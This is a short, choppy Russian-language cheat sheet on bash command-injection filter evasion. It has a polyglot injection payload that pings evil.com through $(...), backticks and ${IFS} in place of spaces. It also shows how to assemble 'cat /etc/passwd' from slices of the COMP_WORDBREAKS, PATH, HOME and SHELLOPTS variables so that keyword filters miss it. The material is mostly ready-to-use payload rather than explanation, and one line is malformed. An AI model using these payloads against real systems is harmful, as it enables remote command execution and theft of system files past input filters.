
Size: a a a
&$(ping${IFS}-c1${IFS}evil.com)&ping -c1 evil.com&'\"`0&$(ping${IFS}-c1${IFS}evil.com)&ping -c1 evil.com&`'
ping -c evil.com
. На случай экранирования пробелов можно использовать ${IFS}
- это пустая строка.COMP_WORDBREAKS
— набор символов рассматриваемые как разделители слов.echo $COMP_WORDBREAKS
"'><=;|&(:
echo ${COMP_WORDBREAKS:11:2}
(:
cat${COMP_WORDBREAKS:0:1}${PATH:0:1}etc${HOME:0:1}passwd
cat /etc/passwd
${SHELLOPTS:3:1}at ${PATH:0:1}${SHELLOPTS:4:1}t${SHELLOPTS:3:1}${HOME:0:1}p${SHELLOPTS:2:1}sswd